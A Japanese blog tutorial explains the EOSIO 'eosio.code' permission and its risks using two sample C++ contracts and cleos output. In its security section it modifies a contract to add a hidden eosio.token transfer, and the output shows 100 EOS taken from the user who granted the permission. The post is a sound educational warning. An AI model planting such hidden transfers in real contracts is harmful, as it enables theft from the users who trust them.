eosio.code 権限の使い方とセキュリティリスク

スマートコントラクトの処理の中、`inline action`などで他のスマートコントラクトのアクションを呼び出す時、スマートコントラクトの `active` 権限設定に `eosio.code` を追加する必要があります。

では、コントラクトにこの設定をしたら実際どういう動きになるかを確認してみます。

## ２つコントラクトを実装する
- `hello` コントラクトから `message` コントラクトに送信し、メッセージを `message` コントラクトのマルチインデックステーブルに保持するようにしています

### hello コントラクト

```c++
#include <eosiolib/eosio.hpp>

using namespace eosio;

class [[eosio::contract]] hello : public eosio::contract {
  public:
    hello(name receiver, name code, datastream<const char *> ds) : contract(receiver, code, ds){}

    [[eosio::action]]
    void hi(name from) {
      print("hello, from ", name{from});

      action(
        permission_level{from, "active"_n},
        "message"_n,
        "callme"_n,
        std::make_tuple(name{from})
      ).send();
    }
};

EOSIO_DISPATCH(hello, (hi))
```

### メッセージを表示するコントラクト

```c++
#include <eosiolib/eosio.hpp>

using namespace eosio;

class [[eosio::contract]] message : public eosio::contract
{

  public:
    message(name receiver, name code, datastream<const char *> ds) : contract(receiver, code, ds){}

    [[eosio::action]] 
    void callme(name from)
    {
      require_auth(from);

      print("call me from :", name{from});
    }
};

EOSIO_DISPATCH(message, (callme))
```

## 動作確認

### `eosio.code` 権限設定してない場合
上記２つのコントラクトをコンパイルしデプロイしただけの場合は、`hello`の`hi` アクションを送信すると、下記のような、権限エラーになってしまいます

```shell
$ cleos push action hello hi '["bob"]' -p bob
Error 3090003: Provided keys, permissions, and delays do not satisfy declared authorizations
Ensure that you have the related private keys inside your wallet and your wallet is unlocked.
```

`nodes` 側のログを確認してみると、下記のエラーが表示されています。

```shell
2018-12-09T10:44:46.025078600Z debug 2018-12-09T10:44:46.024 thread-0  http_plugin.cpp:581           handle_exception     ] Exception Details: 3090003 unsatisfied_authorization: Provided keys, permissions, and delays do not satisfy declared authorizations
2018-12-09T10:44:46.025118600Z transaction declares authority '{"actor":"bob","permission":"active"}', but does not have signatures for it under a provided delay of 0 ms, provided permissions [{"actor":"hello","permission":"eosio.code"}], provided keys [], and a delay max limit of 3888000000 ms
2018-12-09T10:44:46.025143200Z     {"auth":{"actor":"bob","permission":"active"},"provided_delay":0,"provided_permissions":[{"actor":"hello","permission":"eosio.code"}],"provided_keys":[],"delay_max_limit_ms":3888000000}
2018-12-09T10:44:46.025163300Z     thread-0  authorization_manager.cpp:517 check_authorization
2018-12-09T10:44:46.025182100Z pending console output: hello, from bob
2018-12-09T10:44:46.025200900Z     {"console":"hello, from bob"}
2018-12-09T10:44:46.025219900Z     thread-0  apply_context.cpp:72 exec_one
```

### `eosio.code` 権限を設定する場合

```shell
$ cleos set account permission bob active '{"threshold":1,"keys":[{"key":"EOS6tnL51zAKme8fQcFq7ivboqCsttq5sncH6CdETGJGFu9xqVmHF","weight":1}],"accounts":[{"permission":{"actor":"hello","permission":"eosio.code"},"weight":1}]}' -p bob@owner
executed transaction: de23a22469ed9c1c88430114f5e3023e8bf60f33d53597e9ba2fc9382c09bc09  184 bytes  365 us
#         eosio <= eosio::updateauth            {"account":"bob","permission":"active","parent":"owner","auth":{"threshold":1,"keys":[{"key":"EOS6tn...
warning: transaction executed locally, but may not be confirmed by the network yet         ]
```

再度実行してみます。

```shell
cleos push action hello hi '["bob"]' -p bob
executed transaction: 21bea94d2e9e9bd3ea85aa93b84d838011dbc5810937055af32a799cac7d350a  104 bytes  7693 us
#         hello <= hello::hi                    {"from":"bob"}
>> hello, from bob
#       message <= message::callme              {"from":"bob"}
>> call me from :bob
warning: transaction executed locally, but may not be confirmed by the network yet         ]
```

正常に `bob` 権限で実行出来ました。

## セキュリティリスク
注意しないと行けないのは、

- `bob@active` 権限で `hello`の`hi`アクションを呼び出しました
- `hello`コントラクトの`hi`アクションの中で、`message`コントラクトの`callme`アクションを呼び出しました
- `callme`アクションの中で`require_auth(from)`（**つまり、`require_auth('bob')`**)を検証しています

**require_auth('bob')は通ってます！！！**

`hello`コントラクトが`bob`アカウントに代わりに`message`コントラクトのアクションを実行してもらったように見えます。

勿論、これができている前提は、`bob` アカウントの所有者が明示的に`active`権限を`hello`コントラクトの`eosio.code`ロールに付与したわけですが、`hello`コントラクトに悪用される恐れがあります。

上記は`bob`アカウントから`hi`アクションを実行したが、`bob`アカウントが知らないうちに `hello`コントラクトがの所有者が勝手に`bob`アカウントの代わりに`message`コントラクトの`callme`を実行できるかどうかを検証してみます。

```shell
$ cleos push action hello hi '["bob"]' -p hello@active
executed transaction: 7817d28da51d306d5523fa92b7301c1371f5cfed7bde1f65aa3c81d84a1aed08  104 bytes  8416 us
#         hello <= hello::hi                    {"from":"bob"}
>> hello, from bob
#       message <= message::callme              {"from":"bob"}
>> call me from :bob
warning: transaction executed locally, but may not be confirmed by the network yet         ]
```

**出来てしまいました！！！**

### `eosio.token` の送金を呼び出してみます
コントラクトを更新することができるので、仮に `hello` アカウントを持っている開発者が、上記の権限を持っている時、こっそりコントラクトを下記のように、`eosio.token` の　`transfer`処理を加えたとします。

```c++
#include <eosiolib/eosio.hpp>
#include <eosiolib/asset.hpp>

using namespace eosio;

class [[eosio::contract]] hello : public eosio::contract {
  public:
    hello(name receiver, name code, datastream<const char *> ds) : contract(receiver, code, ds){}

    [[eosio::action]]
    void hi(name from) {
      print("hello, from ", name{from});

      action(
        permission_level{from, "active"_n},
        "message"_n,
        "callme"_n,
        std::make_tuple(name{from})
      ).send();

      action(
        permission_level{from, "active"_n},
        "eosio.token"_n,
        "transfer"_n,
        std::make_tuple(from, get_self(), asset{10000, symbol{"EOS", 4}}, std::string("test"))
      ).send();
    }
};

EOSIO_DISPATCH(hello, (hi))
```

コントラクト更新した後、`hello@active` 権限で実行してみると、

```bash
$ cleos push action hello hi '["bob"]' -p hello
executed transaction: ff9447dad069c4a8a56d2235af7451c1bad26253fba7f8f26bbd93e68394de78  104 bytes  10477 us
#         hello <= hello::hi                    {"from":"bob"}
>> hello, from bob
#       message <= message::callme              {"from":"bob"}
>> call me from :bob
#   eosio.token <= eosio.token::transfer        {"from":"bob","to":"hello","quantity":"100.0000 EOS","memo":"test"}
#           bob <= eosio.token::transfer        {"from":"bob","to":"hello","quantity":"100.0000 EOS","memo":"test"}
#         hello <= eosio.token::transfer        {"from":"bob","to":"hello","quantity":"100.0000 EOS","memo":"test"}
warning: transaction executed locally, but may not be confirmed by the network yet         ]
```

**`bob`から `100 EOS` の送金処理が実行されてしまいました！！！**

## まとめ
`eosio.code` 権限は、明示的に **このコントラクトを信頼していいよ** 的な意味合いであって、付与すると、自分の代わりにいろいろできてしまうので、設定する時は、慎重にやりましょう。